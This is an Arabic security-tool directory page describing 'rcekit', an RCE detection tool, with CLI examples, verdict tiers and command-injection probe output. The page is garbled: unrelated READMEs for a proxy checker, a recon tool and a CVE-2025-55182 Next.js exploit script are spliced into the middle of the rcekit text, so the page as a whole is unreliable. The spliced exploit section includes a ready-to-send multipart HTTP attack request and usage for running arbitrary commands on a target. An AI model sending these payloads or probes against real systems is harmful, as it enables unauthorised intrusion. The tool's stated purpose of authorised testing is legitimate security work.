Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
rcekit — مجموعة أدوات لكشف وتأكيد RCE تختبر عناوين URL أو طلبات HTTP الملتقطة بحثًا عن حقن الأوامر، وSSTI، والمسارات العمياء وOOB، وتعيد أحكامًا متدرجة مع إثبات. | Kitploit
أدوات/GitHubGitHub/kabiri-labs/rcekit
ماسحات الثغرات الأمنيةماسحات الثغرات الأمنية للويبتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالاختبار العشوائياختبار الاختراقالقيادة والسيطرةالأدوات والمكوناتالفريق الأحمر
14250منذ 2 أياملم تتم المراجعة بعد
GitHubkabiri-labs/rcekit

rcekit

مجموعة أدوات لكشف وتأكيد RCE تختبر عناوين URL أو طلبات HTTP الملتقطة بحثًا عن حقن الأوامر، وSSTI، والمسارات العمياء وOOB، وتعيد أحكامًا متدرجة مع إثبات.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

RCEKit

confirmed تعني أن الهدف نفّذ المُدخل. negative تعني أن المجسّات وصلت إليه.

الإصدار 2.40.0 · MIT · Python 3.8+ · بدون أي تبعيات خارجية

RCEKit هي مجموعة أدوات لكشف وتأكيد RCE لاختبار الاختراق المصرّح به، والفريق الأحمر، والبحث الأمني. وجّهها نحو هدف مسموح لك باختباره — رابط URL أو طلب HTTP ملتقط — وكل نتيجة تعود بالمستوى الذي استحقّته.

كل confirmed تستند إلى قيمة ولّدها RCEKit عشوائيًا لذلك المجسّ والتي لا يمكن للانعكاس إنتاجها: نتيجة محسوبة موجودة في الاستجابة وغائبة عن ضابط خالٍ من الحمولة، أو استدعاء خارج النطاق يحمل رمزًا لم يمتلكه سوى الهدف. الإشارات الأضعف تحتفظ بمستوياتها الخاصة ولا تُرقّى إليها أبدًا. والتشغيل الذي لم يتمكن من اختبار شيء لا يُبلّغ عنه أبدًا بأنه نظيف.


إثبات، لا "ربما"

تؤكد RCEKit وجود RCE عبر طرق متعددة تحت واجهة سطر أوامر واحدة. أدناه تُوجَّه نحو ثغرات CVE حقيقية وموثّقة علنًا في برمجيات إنتاجية — كل حكم يُقارَن بضابط خالٍ من الحمولة:

فئة RCE--methodsالهدف الواقعيالحكم
حقن أوامر نظام التشغيل (قائم على النتائج)reflectedWebmin 1.910 — CVE-2019-15107confirmed
حقن تعبيرات (OGNL)evalApache Struts2 — S2-001confirmed
بحث تعبيرات (Log4Shell/JNDI)lookupApache Solr 8.11.0 (Log4j 2.14.1) — CVE-2021-44228lookup-sink
حقن أوامر أعمى (بدون مخرجات)timeWebmin 1.910 — CVE-2019-15107needs-review

كل صف يُعاد إنتاجه بواسطة tests/bench/، الذي يشغّل RCEKit ضد هذه البِنى تحت Docker ويتحقق من الحكم و ضابطه السلبي. آخر تشغيل أخضر عند 2.36.0 (2026-09-20): 3/3 حالات. هذا ادّعاء لحظي، وليس مستمرًا -- يُشغَّل المعيار وفق وتيرة محددة، وليس عند كل تغيير.

كل ضابط هو الاختبار الحقيقي للصف. Struts2 عند فحصه بـ reflected يعود negative، لأن S2-001 يعيد تقييم OGNL ولا توجد صدفة خلفه. إشارة time في Webmin تُثبَّت عند needs-review على هدف تصادف أنها صحيحة فيه. وSolr عند فحصه بـ oob يعود negative رغم أنه قابل للاستغلال -- إذ يبني oob أوامر صدفة، ومصبّ ${jndi:...} لا يشغّل أيًا منها، وهذه هي الفجوة التي وُجد lookup لسدّها، مقيسةً لا مُدّعاة.

صف Log4Shell يقول lookup-sink، وليس confirmed: ما يثبته الاستدعاء هو أن المصبّ حلّ عنوان URI اختاره RCEKit. الوصول إلى RCE يتطلب خادمًا يجيب على البحث بفئة قابلة للتحميل، وعند مستوى المخاطر الافتراضي لا يخرج سوى jndi:dns:// -- بحث عن اسم، دون اتصال بعده ليجيب عليه خادم كهذا.

reflected — حقن أوامر نظام التشغيل، Webmin CVE-2019-15107 → confirmed

RCEKit confirming OS command injection on Webmin 1.910 (CVE-2019-15107): the shell computes arithmetic on random operands, the result is reflected in the response and absent from a payload-free control

eval — حقن تعبيرات OGNL، Apache Struts2 S2-001 → confirmed

RCEKit confirming OGNL expression injection on Apache Struts2 (S2-001): the payload %{ab} evaluates to the product in the response while the literal ab does not

خارج النطاق — Log4Shell الأعمى (CVE-2021-44228) عبر استدعاء DNS → lookup-sink

RCEKit correlating a blind Log4Shell (CVE-2021-44228) DNS callback back to the exact payload that produced it: the token in the queried name is one only the target could have learned by resolving the URI it was handed

time — حقن أوامر أعمى، Webmin CVE-2019-15107 → needs-review

RCEKit measuring a linear timing response on Webmin 1.910 (CVE-2019-15107): response time tracks a controlled 0/N/2N delay series — a needs-review timing candidate, never confirmed on its own


البدء السريع

لدى RCEKit شكلان مدعومان، ولا أحدهما بديل عن الآخر.

ثبّتها — يُبقي pipx واجهة سطر الأوامر في بيئتها الخاصة، وهو ما تريده لأداة وليس لمكتبة:```bash pipx install rcekit # or: pip install rcekit rcekit --doctor # confirms the corpus it will run with

root@kitploit:~
**أو خُذ الملف الواحد فقط.** مجموعة الحمولات (payload corpus) مدمجة داخل الوحدة، لذا
يعمل `rcekit.py` بمفرده دون أي شيء بجانبه — لا خطوة تثبيت، ولا
site-packages، ولا شيء يُترك خلفه. على جهاز القفز الخاص بالعميل، أو مضيف
معزول عن الشبكة (air-gapped)، أو في أي مكان لا يُعدّ فيه `pip install` خيارًا:```bash
curl -O https://raw.githubusercontent.com/kabiri-labs/rcekit/main/rcekit.py
python rcekit.py --doctor    # same corpus, same check, zero installation

كلاهما يشغّل نفس الشيفرة ويصدر نفس الأحكام. العمل من نسخة محلية هو الطريقة الثالثة، ولا يحتاج إلى تثبيت أيضًا:```bash git clone https://github.com/kabiri-labs/rcekit.git cd rcekit # Python 3.8+, standard library only

root@kitploit:~
ضع علامة `FUZZ` حيث يصل إدخالك (أو حدد معاملًا باستخدام `-p` عند
استخدام طلب ملتقط)، واطلب من RCEKit إثبات RCE:```bash
rcekit --acknowledge-consent \
  --verify-url "https://target.example/lookup?host=FUZZ" \
  --methods reflected,eval

المزايا الرئيسية

  • دعم بروتوكولات متعددة: يدعم بروتوكولات متعددة مثل HTTP وHTTPS وSOCKS4 وSOCKS5.
  • تعدد الخيوط: يستخدم خيوط متعددة لتسريع عملية الفحص.
  • تخصيص المنافذ: يسمح للمستخدمين بتحديد المنافذ المراد فحصها.
  • تخصيص المهلة الزمنية: يسمح للمستخدمين بتعيين قيم مهلة زمنية للاتصال.
  • تنسيق الإخراج: يدعم تنسيقات إخراج متعددة مثل النص وJSON وCSV.
  • معالجة الأخطاء: يتعامل مع الأخطاء بسلاسة ويوفر رسائل خطأ مفيدة.
  • سهولة الاستخدام: واجهة سطر أوامر بسيطة وبديهية.

التثبيت

لتثبيت ProxyChecker، تحتاج إلى Python 3.6 أو أحدث. اتبع الخطوات التالية:

  1. استنساخ المستودع:
root@kitploit:~
git clone https://github.com/yourusername/ProxyChecker.git
cd ProxyChecker
  1. تثبيت التبعيات المطلوبة:
root@kitploit:~
pip install -r requirements.txt

الاستخدام

لتشغيل ProxyChecker، استخدم الأمر التالي:

root@kitploit:~
python proxy_checker.py -f proxies.txt -o output.txt -t 10 -p 8080,3128 -T 5 -F json

وسائط سطر الأوامر

  • -f, --file: مسار الملف الذي يحتوي على قائمة الوكلاء (proxy) للفحص.
  • -o, --output: مسار ملف الإخراج لحفظ النتائج.
  • -t, --threads: عدد الخيوط المراد استخدامها (الافتراضي: 10).
  • -p, --ports: قائمة المنافذ المراد فحصها، مفصولة بفواصل (الافتراضي: 80,8080).
  • -T, --timeout: قيمة المهلة الزمنية للاتصال بالثواني (الافتراضي: 5).
  • -F, --format: تنسيق الإخراج (text، json، csv) (الافتراضي: text).

مثال

لفحص قائمة الوكلاء (proxy) في ملف proxies.txt وحفظ النتائج في output.txt باستخدام 20 خيطًا ومنافذ 8080 و3128 ومهلة زمنية 10 ثوانٍ وتنسيق إخراج JSON:

root@kitploit:~
python proxy_checker.py -f proxies.txt -o output.txt -t 20 -p 8080,3128 -T 10 -F json

المساهمة

نرحب بالمساهمات! يرجى اتباع الخطوات التالية للمساهمة:

  1. عمل fork للمستودع.
  2. إنشاء فرع جديد (git checkout -b feature-branch).
  3. إجراء التغييرات الخاصة بك.
  4. عمل commit للتغييرات (git commit -am 'Add new feature').
  5. الدفع إلى الفرع (git push origin feature-branch).
  6. إنشاء Pull Request جديد.

الترخيص

هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل.

الإقرارات

  • شكر خاص لجميع المساهمين الذين ساعدوا في تحسين هذا المشروع.
  • مستوحى من أدوات فحص الوكلاء (proxy) الأخرى المتاحة في المجتمع مفتوح المصدر.

اتصل

لأي استفسارات أو ملاحظات، يرجى التواصل مع yourusername.``` [detect] methods: reflected, eval [detect] sent 13 probes: confirmed=4, negative=9

[detect] CONFIRMED execution (4): [reflected/unix/raw] ; echo RKYZRIP$((540141+314681))RKFWVFS$(echo RKBWOOC)RKYZRIP (target computed 'RKYZRIP854822RKFWVFSRKBWOOCRKYZRIP' — random operands, absent from control)

root@kitploit:~
### من طلب ملتقط — الشكل الذي تمتلكه معظم الأهداف الحقيقية

يحمل `--verify-url` عنوان URL ولا شيء غيره. تقع معظم نقاط الوصول التي تستحق الاختبار
خلف طلب POST مع كوكي جلسة ونوع محتوى وجسم، ويأخذ RCEKit ذلك الطلب
كاملاً: احفظه من الوسيط الخاص بك أو من أدوات مطوري المتصفح لديك وسمِّ الحقل المراد الحقن فيه.```bash
rcekit --acknowledge-consent \
  -r search.req -p q \
  --methods reflected,eval

الميزات الرئيسية

  • الاستطلاع السلبي: جمع معلومات النطاق دون لمس الهدف مباشرة
  • الاستطلاع النشط: فحص المنافذ، تعداد الخدمات، واكتشاف نقاط النهاية
  • تحليل الثغرات: فحص تلقائي للثغرات الشائعة
  • إنشاء التقارير: تقارير مفصلة بصيغ متعددة (JSON، HTML، Markdown)
  • دعم الإضافات: بنية معيارية قابلة للتوسيع

التثبيت

المتطلبات الأساسية

  • Python 3.8 أو أحدث
  • pip (مدير حزم Python)
  • Git

التثبيت من المصدر

root@kitploit:~
git clone https://github.com/example/recontool.git
cd recontool
pip install -r requirements.txt
python setup.py install

التثبيت عبر pip

root@kitploit:~
pip install recontool

الاستخدام

الاستخدام الأساسي

root@kitploit:~
# استطلاع نطاق واحد
recontool -d example.com

# استطلاع عدة نطاقات
recontool -d example.com,test.com

# استطلاع من ملف
recontool -f domains.txt

الخيارات المتقدمة

root@kitploit:~
# تحديد مستوى العمق
recontool -d example.com --depth 3

# تمكين الاستطلاع النشط
recontool -d example.com --active

# تحديد صيغة الإخراج
recontool -d example.com -o report.html --format html

# استخدام ملف التكوين
recontool -c config.yaml

أمثلة الاستخدام

مثال 1: الاستطلاع السلبي الأساسي

root@kitploit:~
recontool -d example.com --passive-only

مثال 2: الاستطلاع الكامل مع التقارير

root@kitploit:~
recontool -d example.com --active --depth 2 -o full_report.json --format json

مثال 3: فحص قائمة نطاقات

root@kitploit:~
recontool -f targets.txt --threads 10 -o results/

التكوين

يقبل recontool ملفات التكوين بصيغة YAML أو JSON. فيما يلي مثال على التكوين:

root@kitploit:~
# config.yaml
general:
  threads: 5
  timeout: 30
  verbose: false

passive:
  sources:
    - crt_sh
    - virustotal
    - shodan

active:
  port_scan:
    enabled: true
    ports: "1-1000"
  service_detection:
    enabled: true

output:
  format: json
  directory: ./results

وحدات الإضافات

يدعم recontool إضافات مخصصة لتوسيع وظائفه. يمكن وضع الإضافات في دليل plugins/.

مثال على إضافة

root@kitploit:~
# plugins/custom_plugin.py
from recontool.plugins import BasePlugin

class CustomPlugin(BasePlugin):
    name = "custom_plugin"
    description = "إضافة مخصصة للاستطلاع"
    
    def run(self, target):
        # منطق الإضافة هنا
        results = self.scan(target)
        return results

المساهمة

نرحب بالمساهمات! يرجى اتباع الخطوات التالية:

  1. قم بعمل fork للمستودع
  2. أنشئ فرعاً للميزة (git checkout -b feature/amazing-feature)
  3. قم بعمل commit للتغييرات (git commit -m 'Add amazing feature')
  4. ادفع إلى الفرع (git push origin feature/amazing-feature)
  5. افتح طلب سحب (Pull Request)

الترخيص

هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.

إخلاء المسؤولية

هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرح به فقط. يجب عليك الحصول على إذن كتابي صريح قبل استخدام هذه الأداة ضد أي هدف. المؤلفون غير مسؤولين عن أي سوء استخدام أو أضرار ناتجة عن هذه الأداة.

شكر وتقدير

  • شكر خاص لجميع المساهمين
  • مستوحى من أدوات الاستطلاع مفتوحة المصدر الأخرى
  • شكر لمجتمع الأمن السيبراني على دعمهم المستمر``` [detect] sent 4 probes: confirmed=3, negative=1

[detect] CONFIRMED execution (3): [reflected/unix/raw] ; echo RKHWNHK$((114157+752773))RKXGFIH$(echo RKHSEIF)RKHWNHK (target computed 'RKHWNHK866930RKXGFIHRKHSEIFRKHWNHK' — random operands, absent from control)

root@kitploit:~
تُعاد الطريقة والمسار والترويسات والجسم وملفات تعريف الارتباط كما تم التقاطها، وتُرمَّز كل قيمة حسب السياق الذي تستقر فيه — فالورقة في JSON وحقل النموذج وملف تعريف الارتباط لا تُهرَّب بالطريقة نفسها. احذف `-p` وحدِّد الموضع بـ `FUZZ` أو `*` بدلاً من ذلك، إن كنت تفضّل.

### كل ما تملكه الأداة

هناك أمران لا يمكن الوصول إليهما إلا من طلب ملتقط: **تعداد نقاط الحقن** (`--auto-params`)، وأي مصرف يحتاج إلى جلسة. لذا فإن أوفى تشغيل يمكن لـ RCEKit القيام به يبدأ من `-r`، لا من عنوان URL — وهو أمر يستحق المعرفة قبل استنتاج أن الهدف نظيف.```bash
rcekit --acknowledge-consent \
  -r search.req --auto-params all --point-order thorough \
  --methods reflected,eval,time,lookup,deser \
  --oob-host oob.yourdomain.example --listen-dns-port 53 \
  --verify-active-risk stateful --probe-depth full \
  --detect-json findings.json

الاستخدام

root@kitploit:~
python3 CVE-2025-55182.py -u <URL> -c <COMMAND>

الخيارات

الخيارالوصف
-u, --urlعنوان URL الهدف (مطلوب)
-c, --cmdالأمر المراد تنفيذه (افتراضي: id)
-t, --timeoutمهلة الطلب بالثواني (افتراضي: 30)
-v, --verboseتمكين الإخراج المفصل

أمثلة

root@kitploit:~
# تنفيذ الأمر الافتراضي (id)
python3 CVE-2025-55182.py -u http://target:3000

# تنفيذ أمر مخصص
python3 CVE-2025-55182.py -u http://target:3000 -c "whoami"

# مع مهلة مخصصة
python3 CVE-2025-55182.py -u http://target:3000 -c "ls -la" -t 60

# تمكين الإخراج المفصل
python3 CVE-2025-55182.py -u http://target:3000 -v

مثال الإخراج

root@kitploit:~
[*] Target: http://target:3000
[*] Command: id
[*] Timeout: 30s
[*] Sending exploit request...
[+] Exploit successful!
[+] Response:
uid=1000(nextjs) gid=1000(nextjs) groups=1000(nextjs)

التفاصيل التقنية

آلية الاستغلال

يستغل هذا الثغرة عدم كفاية التحقق من صحة المدخلات في معالج طلبات React Server Components. من خلال إرسال حمولة مُصممة خصيصًا، يمكن للمهاجم:

  1. تجاوز آليات التحقق من صحة المدخلات
  2. حقن أوامر نظام التشغيل في سياق تنفيذ الخادم
  3. تحقيق تنفيذ التعليمات البرمجية عن بُعد

متجه الهجوم

root@kitploit:~
POST / HTTP/1.1
Host: target:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="0"

$1
------WebKitFormBoundary
Content-Disposition: form-data; name="1"

{"then":"$1:__proto__:constructor:constructor"}
------WebKitFormBoundary
Content-Disposition: form-data; name="2"

{"x":1}
------WebKitFormBoundary--

التخفيف

الإجراءات الفورية

  1. الترقية إلى Next.js 15.0.5 أو أحدث

    root@kitploit:~
    npm install next@latest
    
  2. تطبيق قواعد جدار حماية تطبيقات الويب (WAF)

    • حظر الطلبات التي تحتوي على أنماط __proto__ المشبوهة
    • تصفية حمولات multipart/form-data غير الطبيعية
  3. تعطيل React Server Components إذا لم تكن قيد الاستخدام

التخفيف طويل المدى

  • تنفيذ التحقق من صحة المدخلات بشكل صارم
  • استخدام مبدأ الامتياز الأقل
  • المراقبة المنتظمة للثغرات الأمنية وتحديث التبعيات
  • نشر جدار حماية تطبيقات الويب (WAF)

المراجع

  • CVE-2025-55182
  • Next.js Security Advisory
  • React Server Components Documentation

إخلاء المسؤولية

لأغراض تعليمية واختبار الاختراق المصرح به فقط.

يُقصد بهذه الأداة مساعدة الباحثين الأمنيين وفرق الأمن السيبراني في تحديد الثغرات الأمنية وإصلاحها. يجب عليك:

  • الحصول على إذن كتابي صريح قبل اختبار أي نظام لا تملكه
  • الالتزام بجميع القوانين واللوائح المعمول بها
  • عدم استخدام هذه الأداة لأي أنشطة غير قانونية أو ضارة

المؤلفون غير مسؤولين عن أي سوء استخدام أو أضرار ناتجة عن هذه الأداة.

الترخيص

هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل.

شكر وتقدير

  • شكرًا لمشروع Next.js على استجابتهم السريعة
  • شكرًا لمجتمع الأمن السيبراني على التعاون في الإفصاح

معلومات الاتصال

  • المؤلف: Security Researcher
  • GitHub: @username
  • Twitter: @username

تذكير: استخدم هذه الأداة بمسؤولية وبشكل قانوني فقط.``` [verify] loaded request from search.req: enumerating 4 injection point(s) [detect] enumerating 4 injection point(s) x 3 method(s) [detect] cost: 4 points x ~1739 probes = at least 6964 requests [detect] body param 'q': confirmed (1544 probes) <-- CONFIRMED [detect] sent 6371 probes: confirmed=446, negative=5925

root@kitploit:~
ما الذي يفتحه كل علم:

| | |
|---|---|
| `--auto-params all` | كل قيمة استعلام، وورقة JSON، وحقل نموذج، وجزء multipart، وكوكي وترويسة، بدلاً من حقل واحد مسمّى |
| `--point-order thorough` | كل ترويسة غير hop-by-hop، وليس فقط ذات العائد المرتفع |
| `--methods ...,lookup,deser` | أحواض expression-lookup وإلغاء التسلسل، التي لا تستطيع الطرق ذات الشكل الصدفي الوصول إليها |
| `--oob-host` | مضيف callback للطرق العمياء. يحتاج إلى نطاق مفوَّض إليك؛ المنفذ 53 يحتاج root |
| `--verify-active-risk stateful` | الدرجة العليا — تضيف أشكال الفحص التي تجعل الهدف يجلب من عنوان لم تختره RCEKit |
| `--probe-depth full` | كل شكل break-out لكل حوض، وليس الأشكال الرخيصة فقط |
| `--detect-json` | نفس الأحكام بصيغة JSON قابلة للقراءة آلياً |

**هذا عدد كبير من الطلبات.** يُطبع سطر التكلفة قبل انطلاق أي شيء، ويحدّه
`--max-points` / `--max-payloads`. شغّله ضد نسخة يُسمح لك بكسرها: `--verify-active-risk stateful` هي الدرجة المخصصة لهدف قابل للتخلص منه، وليس للإنتاج.

لا بنية تحتية خارجية، ولا ملف إعدادات.

**لا تأخذ صور GIF على الثقة** — [أعد إنتاجها بنفسك](https://github.com/kabiri-labs/rcekit/blob/main/docs/verify-it-yourself.md)
ضد أهداف Webmin وStruts2 المُشغَّلة عبر Docker في نحو خمس دقائق.

**التالي:** [**الدليل الميداني**](https://github.com/kabiri-labs/rcekit/blob/main/docs/guide.md) يستعرض المواقف الحقيقية — الطلبات
المُلتقطة، وجدران الحماية WAFs، والفاصلات المُرشَّحة، والأحواض المُقتبسة، والأهداف
العمياء وعديمة المنفذ — مثال عملي واحد لكل منها.

---

## ماذا يعني الحكم

العثور على *مرشّح* لـ RCE سهل. أما الإبلاغ عن واحد يصمد أمام إعادة اختبار شخص آخر
فهو الجزء الصعب، ويفشل في اتجاهين: "قد يكون قابلاً للاستغلال" يتبيّن أنه انعكاس،
و"غير قابل للاستغلال" ناتج عن تشغيل لم يختبر شيئاً فعلياً.

تجيب RCEKit بـ **ثمانية أحكام لا تُدمج أبداً في بعضها**:

| الحكم | ما يؤكده |
|---|---|
| **`confirmed`** | نفّذ الهدف المُدخل. أعاد قيمة لم يكن بإمكانه إنتاجها بغير ذلك — محسوبة من معاملات عشوائية خاصة بذلك الفحص — وهذه القيمة غائبة عن ضابط خالٍ من الحمولة. |
| **`deserialization-sink`** | أعاد الهدف بناء رسم كائنات مورَّد من المهاجم. مُثبَت، لكنه يتعلق بـ*خاصية مختلفة*: الوصول إلى RCE من هناك يعتمد على gadgets في classpath، لذا لا يُسمى أبداً RCE. |
| **`lookup-sink`** | حلّ الهدف URI سلّمته RCEKit — وصل تعبير `${jndi:…}` إلى lookup، مُثبَت عبر callback يحمل رمزاً لم يملكه سوى ذلك الفحص. إنه حوض، وليس تنفيذاً: الوصول إلى RCE من هناك يحتاج إلى خادم يجيب بفئة قابلة للتحميل. |
| **`needs-review`** | إشارة حقيقية ليست دليلاً بحد ذاتها — انحدار توقيت خطي، أو بصمة محلل. تستحق وقتك، لكنها لا تستحق أبداً كلمة "confirmed". |
| **`inconclusive`** | ظهر الدليل، لكن تعذّر عزوه إلى التنفيذ — الضابط الخالي من الحمولة حمله أيضاً. |
| **`negative`** | بُنيت الفحوصات، ووصلت إلى الهدف، ولم تجد شيئاً. |
| **`error`** | لم يصل شيء إلى الهدف. |
| **`nothing-tested`** | لم يُبنَ أي فحص على الإطلاق. |

في اللحظة التي يختلط فيها `confirmed` و`maybe`، يتوقف `confirmed` عن حمل أي معنى —
لذا لا يُرقّى شيء إلى الأعلى أبداً. يبقى انحدار التوقيت `needs-review` مهما كان
الميل نظيفاً. ويبقى callback إلغاء التسلسل `deserialization-sink` مهما كنت واثقاً
من أن classpath قابل للاستغلال.

### النصف الآخر: تشغيل لم يختبر شيئاً ليس نظيفاً أبداً

الصفّان الأخيران هما اللذان لا تملكهما الأدوات الأخرى، وهما أهم مما يبدوان. الماسح
الذي لم يستطع الوصول إلى الهدف، أو لم يبنِ أي فحوصات لأن أعلامك استبعدت كل واحد
منها، لم يتعلم **شيئاً** عن الهدف — وطباعة `negative` هناك كذبة تُقرأ تماماً كما
تُقرأ السلامة.

لذا فإن `error` و`nothing-tested` حكمان من الدرجة الأولى، ويخرج التشغيل برمز غير
صفري، وتقول RCEKit أيّهما حدث ولماذا:```
[!] No probes were built, so NOTHING WAS TESTED — this is not a negative result.
[!] None of the selected methods (reflected, file) apply to environment(s): sql.

إنه يُطلق النار في أي مكان يمكن أن يصبح فيه التشغيل فارغًا بهدوء: طريقة لا تنطبق على البيئات المحددة، أو درجة --sink-shape التي لا تملك الصدفة المختارة صياغة لها، أو اختيار --bridges محجوز بالكامل بواسطة سقف الأمان، أو جسم طلب أفسد التسليم قبل وصوله.

التشغيل الذي كان جزئيًا فقط أعمى يحصل على نفس المعاملة على مستوى أدنى. إذا طلبت أوراكل من الدرجة الثانية ولم يستجب نقطة النهاية المرصودة أبدًا، فإن أحكام الفحص لا تزال قائمة — لكن التشغيل يخبرك أنها حُسمت دون قراءة القناة التي وجهته إليها أبدًا، بدلًا من تركها تمر كسلبية من الدرجة الثانية.


ما الذي يؤكده

واجهة سطر أوامر واحدة، وعلم --methods واحد، يغطي المسارات الرئيسية إلى RCE:

فئة RCE--methodsكيف يثبتها RCEKit
حقن أوامر نظام التشغيلreflectedيجعل الصدفة تحسب $((a+b)) على معاملات عشوائية وتُسطّح $(echo TAG)؛ يؤكد النتيجة، وليس التعبير الحرفي أبدًا. مكتوب بلهجة الـ sink نفسها — POSIX أو cmd.exe أو PowerShell.
حقن الكود / التعبير — SSTI، SpEL، OGNL، Groovy، eval() (CWE-94)evalيحقن a*b في كل صياغة قالب شائعة (${…} {{…}} #{…} %{…} <%=…%> @(…)، مجردة)؛ يؤكد ظهور الناتج بينما لا يظهر النص الحرفي a*b.
حقن أوامر أعمى (بدون مخرجات)timeيُطلق سلسلة تأخير مضبوطة 0/N/2N ويؤكد أن زمن الاستجابة يتبع التأخير خطيًا؛ يُبلّغ عنه needs-review — الاهتزاز لا يمكنه تزييفه، لكن التوقيت ليس قيمة محسوبة.
الأهداف الداخلية / بدون منفذ خروجfileيكتب رمزًا عشوائيًا ويجلبه مرة أخرى عبر أي مسار قراءة عكسي — جذر ويب، معامل LFI، معالج تنزيل أو تصدير، معاينة مدعومة بـ /tmp. يثبت التنفيذ بالإضافة إلى قدرة الكتابة، بدون مستمع خارجي.
قدرة الرفع / الكتابة — PUT-a-JSP، رفع غير مُتحقق منه (CWE-434)writeيكتب سطرًا واحدًا يحسب ناتجًا عبر طلب الرفع الخاص بك، ثم يجلب الملف: الناتج هو RCE confirmed، والمصدر العائد حرفيًا هو needs-review — كتابة ملف عشوائية، تُقدَّم لكن لا تُفسَّر.
مصارف إلغاء التسلسل — fastjson، shiro، weblogic (CWE-502)deserيثبت أن نقطة النهاية تُلغي تسلسل بيانات المهاجم، عبر أداة DNS غير تنفيذية أو تفاضل شكل الخطأ. يُبلّغ عنه كـ deserialization-sink، وليس أبدًا كـ RCE.
الأعمى / خارج النطاق — تسريب، غير متزامنoobمستمع HTTP/DNS مدمج يستقبل الاستدعاءات ويربط كلًا منها بالحمولة الدقيقة؛ كل فحص يحمل رمزه الخاص.

ثلاثة أشياء توسّع نطاق وصول تلك الطرق، دون تغيير ما ستسميه أي منها confirmed:

  • التنفيذ من الدرجة الثانية (--observe-url) — عندما تهبط الحمولة على طلب وتُنفَّذ على آخر: SSTI مخزّن يُعرض على صفحة ملف شخصي، حمولة تُكتب في سجل يعرضه محرك قوالب لاحقًا، مهمة في قائمة انتظار. تُقارَن نقطة النهاية المرصودة مقابل لقطة مأخوذة قبل إرسال أي فحص.
  • جسور لغة الاستعلام (--bridges) — COPY … FROM PROGRAM، xp_cmdshell، expect://. الجسر ناقل، وليس أوراكل: يغلّف الأمر الذي تبنيه الطرق بالفعل، لذا تنطبق نفس المستويات من خلاله.
  • تعداد نقاط الحقن (-p all) — الاستعلام، أوراق JSON، حقول النماذج، أجزاء multipart، ملفات تعريف الارتباط، الترويسات ومقاطع المسار، كل منها مُرمَّز حسب مكان هبوطه، مع طباعة تكلفة الفحص قبل إطلاق أي شيء. يُرتَّب جسم GraphQL حسب ما يمكنه التأكيد فعليًا: variables التي يقرأها المُحلِّل قبل مستند العملية نفسه.

اخلط الطرق بحرية: --methods reflected,eval,time يشغّل الثلاثة ويُبلّغ عن كل مستوى بشكل منفصل.

النطاق الصادق. يؤكد RCEKit الـ RCE الذي يمكن الوصول إليه عبر الحقن في طلب وتفسيره بواسطة صدفة أو مُقيِّم. وهو لا يغطي أخطاء إفساد الذاكرة (تجاوز المخزن المؤقت، UAF) أو حقن الوسائط في مصفوفة argv بدون صدفة — تلك مشاكل مختلفة. سلاسل gadget لإلغاء التسلسل تبقى خارج النطاق أيضًا: --methods deser يثبت أن نقطة النهاية تُلغي تسلسل بيانات المهاجم ويقول ذلك في مستواه الخاص، لكن أي gadget (إن وُجد) يحوّل ذلك إلى تنفيذ يعتمد على classpath الهدف، وRCEKit لا يدّعي معرفته. يهدف إلى أن يكون ممتازًا في فئات RCE المدفوعة بالحقن أعلاه بدلًا من أن يكون متوسطًا في كل شيء.


كيف يقارَن RCEKit

الأدوات الأخرى في هذا المجال مبنية لإدخالك. RCEKit مبني بحيث تنجو النتيجة من تدقيق شخص آخر — إعادة اختبار العميل، قائمة الفرز، مراجعة التقرير. يظهر هذا الفرق ثلاث مرات.

1. نقطة حقن واحدة، كل الفئات، تشغيل واحد

نادرًا ما تعرف الفئة قبل أن تختبر. تغطية sink مجهول بأدوات أحادية الفئة تعني تشغيل كل منها بالتناوب وإعادة بناء الطلب لكل واحدة:

يمكنه التأكيدRCEKitcommixSSTImapNuclei
حقن أوامر نظام التشغيل✅✅ (نطاقه بالكامل)—حسب القالب
حقن التعبير / SSTI✅عبر تقنيته القائمة على eval✅ (نطاقه بالكامل)حسب القالب
أعمى — التوقيت✅ كمستوى منفصل✅✅—
أعمى — خارج النطاق✅ مستمع مدمج——عبر interactsh
بدون منفذ خروج — كتابة & جلب عكسي✅ أي مسار قراءة عكسي✅ (جذر ويب)——
مصارف cmd.exe وPowerShell✅ فحوص حسب اللهجة✅ (cmd)—حسب القالب
رفع → كتابة-ثم-تنفيذ✅ كتابة مقابل تنفيذ، مستويان منفصلان——حسب القالب
من الدرجة الثانية — يهبط هنا، يُنفَّذ هناك✅———
جسر لغة الاستعلام إلى نظام التشغيل✅——حسب القالب
مصرف إلغاء التسلسل✅ مستواه الخاص، لا يُسمى أبدًا RCE——حسب القالب
كل ما سبق، واجهة سطر أوامر واحدة، تشغيل واحد✅———

التغطية حسب قائمة التقنيات الموثقة لكل مشروع. SSTImap هو الخلف المُصان لـ tplmap، الذي وسمه مؤلفه كغير مُصان.```bash

Command injection, expression injection and blind timing against the same

parameter, in one pass, with zero infrastructure

python rcekit.py --acknowledge-consent -r request.txt -p host --methods reflected,eval,time

root@kitploit:~
### 2. إنه يجادل نتائجه الخاصة

تُبلّغ الأداة عمّا وجدته. كما تُبلّغ RCEKit عمّا **رفضت تصديقه** —
`inconclusive` هو حكم قائم بذاته، للأدلة التي ظهرت لكن تعذّر نسبها إلى التنفيذ:```
[detect] methods: reflected, eval
[detect] sent 13 probes: confirmed=0, inconclusive=2, negative=11

